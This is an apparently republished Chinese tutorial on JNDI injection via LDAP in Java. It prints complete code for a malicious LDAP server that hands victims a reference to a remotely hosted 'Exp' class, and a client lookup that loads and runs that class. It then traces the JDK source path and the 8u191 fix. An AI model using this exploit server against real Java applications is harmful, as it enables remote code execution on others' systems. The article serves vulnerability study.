6-java安全基础——JNDI和LDAP利用

Posted songly_

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了6-java安全基础——JNDI和LDAP利用相关的知识,希望对你有一定的参考价值。

继续上一篇的内容,在java JDK的6u141,7u131,8u121这几个版本中,jndi中的Naming/Directory服务中限制了Reference远程加载Object Factory类的特性,对com.sun.jndi.rmi.object.trustURLCodebase的值默认设置为false,即禁止从远程的URLCodebase加载Reference工厂类。

同样的代码,这里把jdk版本切换成JDK8u121版本

为什么会抛出ConfigurationException异常?以jdk8u181版本为例,这个版本中decodeObject方法第354行代码中多增加了一个判断,是否允许从远程地址加载,如果trustURLCodebase为true表示允许允许远程加载,trustURLCodebase值为false表示禁止远程加载,因此这里会抛出ConfigurationException异常,也就是前面客户端运行时抛出的异常信息。

但是我们可以通过LDAP服务来绕过URLCodebase实现远程加载,LDAP服务也能返回JNDI Reference对象,利用过程与jndi + RMI Reference基本一致,不同的是,LDAP服务中lookup方法中指定的远程地址使用的是LDAP协议,由攻击者控制LDAP服务端返回一个恶意jndi Reference对象,并且LDAP服务的Reference远程加载Factory类并不是使用RMI Class Loader机制,因此不受trustURLCodebase限制。

利用之前,需要在这个网站下载LDAP服务unboundid-ldapsdk-3.1.1.jar

 https://mvnrepository.com/artifact/com.unboundid/unboundid-ldapsdk/3.1.1 

下载完成后,将jar包导入到当前项目,File  --> Project Structure --> Modules:

LdapTest 是攻击者

package com.test;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LdapTest 

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] argsx) 
        String[] args = new String[]"http://127.0.0.1:8081/#Exp", "9999";
        int port = 0;
        if (args.length < 1 || args[0].indexOf('#') < 0) 
            System.err.println(LdapTest.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
            System.exit(-1);
         else if (args.length > 1) 
            port = Integer.parseInt(args[1]);
        

        try 
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

         catch (Exception e) 
            e.printStackTrace();
        
    

    private static class OperationInterceptor extends InMemoryOperationInterceptor 

        private URL codebase;

        public OperationInterceptor(URL cb) 
            this.codebase = cb;
        

        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) 
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try 
                sendResult(result, base, e);
             catch (Exception e1) 
                e1.printStackTrace();
            

        

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException 
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) 
                cbstring = cbstring.substring(0, refPos);
            
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        

    

RmiClientTest是被攻击者

public class RmiClientTest 

    public static void main(String[] args) throws NamingException 
        //指定RMI服务资源的标识
        String jndi_uri = "ldap://127.0.0.1:9999/Exp";
        //构建jndi上下文环境
        InitialContext initialContext = new InitialContext();
        //查找标识关联的RMI服务
        initialContext.lookup(jndi_uri);
    

先启动LDAP服务LdapTest ,再启动客户端,被攻击者成功弹出本地计算器:

LADP服务利用流程分析,LADP服务前面的调用流程和jndi是基本一样,从Obj类的decodeObject方法这里就有些不太一样了,decodeObject方法内部调用了decodeReference方法

static Object decodeObject(Attributes var0) throws NamingException 
    String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));

    try 
        Attribute var1;
        if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) 
            ClassLoader var3 = helper.getURLClassLoader(var2);
            return deserializeObject((byte[])((byte[])var1.get()), var3);
         else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) 
            return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
         else 
            var1 = var0.get(JAVA_ATTRIBUTES[0]);
//调用了decodeReference方法
            return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
        
     catch (IOException var5) 
        NamingException var4 = new NamingException();
        var4.setRootCause(var5);
        throw var4;
    

Obj类的decodeReference方法根据LdapTest传入的addAttribute属性构造并返回了一个新的reference对象引用

private static Reference decodeReference(Attributes var0, String[] var1) throws NamingException, IOException 
        String var4 = null;
        Attribute var2;
        if ((var2 = var0.get(JAVA_ATTRIBUTES[2])) == null) 
            throw new InvalidAttributesException(JAVA_ATTRIBUTES[2] + " attribute is required");
         else 
            String var3 = (String)var2.get();
            if ((var2 = var0.get(JAVA_ATTRIBUTES[3])) != null) 
                var4 = (String)var2.get();
            
            //返回一个新的Reference对象引用
            Reference var5 = new Reference(var3, var4, var1 != null ? var1[0] : null);
            //获取第6个属性
            if ((var2 = var0.get(JAVA_ATTRIBUTES[5])) != null) 
               //省略部分代码
			
            //直接返回reference对象
            return var5;
        

    LADP服务的Reference对象引用的获取和jndi注入中的不太一样,jndi是通过ReferenceWrapper_Stub对象的getReference方法获取reference对象,而LADP服务是根据传入的属性构造一个新的reference对象引用,接着获取了第6个属性并判断是否为空,如果第6个属性为null则直接返回新的reference对象引用。

reference对象的三个属性(className,classFactory,classFactoryLocation)如下所示:

接着会返回到decodeObject方法调用处,然后再返回到LdapCtx类的c_lookup方法调用处,接着往下执行调用getObjectInstance方法

protected Object c_lookup(Name var1, Continuation var2) throws NamingException 
    var2.setError(this, var1);
    Object var3 = null;

    Object var4;
    try 
        SearchControls var22 = new SearchControls();
        var22.setSearchScope(0);
        var22.setReturningAttributes((String[])null);
        var22.setReturningObjFlag(true);
        LdapResult var23 = this.doSearchOnce(var1, "(objectClass=*)", var22, true);
        this.respCtls = var23.resControls;
        if (var23.status != 0) 
            this.processReturnCode(var23, var1);
        

        if (var23.entries != null && var23.entries.size() == 1) 
            LdapEntry var25 = (LdapEntry)var23.entries.elementAt(0);
            var4 = var25.attributes;
            Vector var8 = var25.respCtls;
            if (var8 != null) 
                appendVector(this.respCtls, var8);
            
         else 
            var4 = new BasicAttributes(true);
        

        if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) 
//var3接收reference对象
            var3 = Obj.decodeObject((Attributes)var4);
        

        if (var3 == null) 
            var3 = new LdapCtx(this, this.fullyQualifiedName(var1));
        
     catch (LdapReferralException var20) 
        LdapReferralException var5 = var20;
        if (this.handleReferrals == 2) 
            throw var2.fillInException(var20);
        

        while(true) 
            LdapReferralContext var6 = (LdapReferralContext)var5.getReferralContext(this.envprops, this.bindCtls);

            try 
                Object var7 = var6.lookup(var1);
                return var7;
             catch (LdapReferralException var18) 
                var5 = var18;
             finally 
                var6.close();
            
        
     catch (NamingException var21) 
        throw var2.fillInException(var21);
    

    try 
//调用了getObjectInstance方法
        return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);
     catch (NamingException var16) 
        throw var2.fillInException(var16);
     catch (Exception var17) 
        NamingException var24 = new NamingException("problem generating object using object factory");
        var24.setRootCause(var17);
        throw var2.fillInException(var24);
    

c_lookup方法将var3(reference对象)传给了getObjectInstance方法的refInfo参数,继续跟进分析getObjectInstance方法

    public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx , Hashtable<?,?> environment, Attributes attrs) throws Exception 
			ObjectFactory factory;
            //获取对象工厂
            ObjectFactoryBuilder builder = getObjectFactoryBuilder();
            if (builder != null) 
                // builder must return non-null factory
                factory = builder.createObjectFactory(refInfo, environment);
                if (factory instanceof DirObjectFactory) 
                    return ((DirObjectFactory)factory).getObjectInstance(
                        refInfo, name, nameCtx, environment, attrs);
                 else 
                    return factory.getObjectInstance(refInfo, name, nameCtx,
                        environment);
                
            

            // use reference if possible
            Reference ref = null;
            //判断reference对象是否为Reference
            if (refInfo instanceof Reference) 
                 //转换为Reference类型
                ref = (Reference) refInfo;
             else if (refInfo instanceof Referenceable) 
                ref = ((Referenceable)(refInfo)).getReference();
            

            Object answer;
            //reference对象是否为空
            if (ref != null) 
                //获取工厂类名Exp
                String f = ref.getFactoryClassName();
                if (f != null) 
                    // if reference identifies a factory, use exclusively
                    //根据工厂类远程获取对象引用
                    factory = getObjectFactoryFromReference(ref, f);
                    if (factory instanceof DirObjectFactory) 
                        return ((DirObjectFactory)factory).getObjectInstance(
                            ref, name, nameCtx, environment, attrs);
                     else if (factory != null) 
                        return factory.getObjectInstance(ref, name, nameCtx,
                                                         environment);
                    
                    // No factory found, so return original refInfo.
                    // Will reach this point if factory class is not in
                    // class path and reference does not contain a URL for it
                    return refInfo;

                 else 
                    // if reference has no factory, check for addresses
                    // containing URLs
                    // ignore name & attrs params; not used in URL factory

                    answer = processURLAddrs(ref, name, nameCtx, environment);
                    if (answer != null) 
                        return answer;
                    
                
            

            // try using any specified factories
            answer = createObjectFromFactories(refInfo, name, nameCtx,
                                               environment, attrs);
            return (answer != null) ? answer : refInfo;
	
	

     getObjectInstance方法将reference对象转换为Reference类型并判断reference对象是否为空,如果不为空则从reference引用中获取工厂类Exp名字,接着调用getObjectFactoryFromReference方法根据工厂类Exp名字获取远程调用对象。

getObjectFactoryFromReference方法实现如下:

    static ObjectFactory getObjectFactoryFromReference(Reference ref, String factoryName) throws IllegalAccessException,InstantiationException, MalformedURLException 
        Class<?> clas = null;

        // Try to use current class loader
        try 
             //尝试先在本地加载Exp类
             clas = helper.loadClass(factoryName);
         catch (ClassNotFoundException e) 
            // ignore and continue
            // e.printStackTrace();
        
        // All other exceptions are passed up.

        // Not in class path; try to use codebase
        String codebase;
        //获取远程地址
        if (clas == null && (codebase = ref.getFactoryClassLocation()) != null) 
            try 
                //远程加载Exp类
                clas = helper.loadClass(factoryName, codebase);
             catch (ClassNotFoundException e) 

            
        

        return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
    

     可以看到LDAP服务跟jndi一样,会尝试先在本地查找加载Exp类,如果本地没有找到Exp类,那么getFactoryClassLocation方法会获取远程加载的url地址,如果不为空则根据远程url地址使用类加载器URLClassLoader来加载Exp类,通过分析发现LDAP服务的整个利用流程都没有URLCodebase限制。

loadClass方法远程加载Exp类

public Class<?> loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException 
ClassLoader parent = getContextClassLoader();
//使用URLClassLoader类加载器进行加载Exp类
    ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent);
    return loadClass(className, cl);

loadClass方法中,当Class.forName方法加载Exp类时,会执行Exp类的静态代码块把本地计算器调出来。

不过在jdk8u191以上的版本中修复了LDAP服务远程加载恶意类这个漏洞,LDAP服务在进行远程加载之前也添加了系统属性trustURLCodebase的限制,通过分析在jdk8u191版本发现,在loadClass方法内部添加了系统属性trustURLCodebase的判断,如果trustURLCodebase为false就直接返回null,只有当trustURLCodebase值为true时才允许远程加载。

 其实jndi漏洞的利用不仅仅只是以上这些,在fastjson或者jackson,weblogic这些组件中的反序列化漏洞的利用中,使用jndi的利用方式是非常常见的。

以上是关于6-java安全基础——JNDI和LDAP利用的主要内容,如果未能解决你的问题,请参考以下文章

6-java安全基础——JNDI和LDAP利用

14-java安全——fastjson1.2.24反序列化JdbcRowSetImpl利用链分析

14-java安全——fastjson1.2.24反序列化JdbcRowSetImpl利用链分析

14-java安全——fastjson1.2.24反序列化JdbcRowSetImpl利用链分析

14-java安全——fastjson1.2.24反序列化JdbcRowSetImpl利用链分析

5-java安全基础——jndi和RMI实现漏洞利用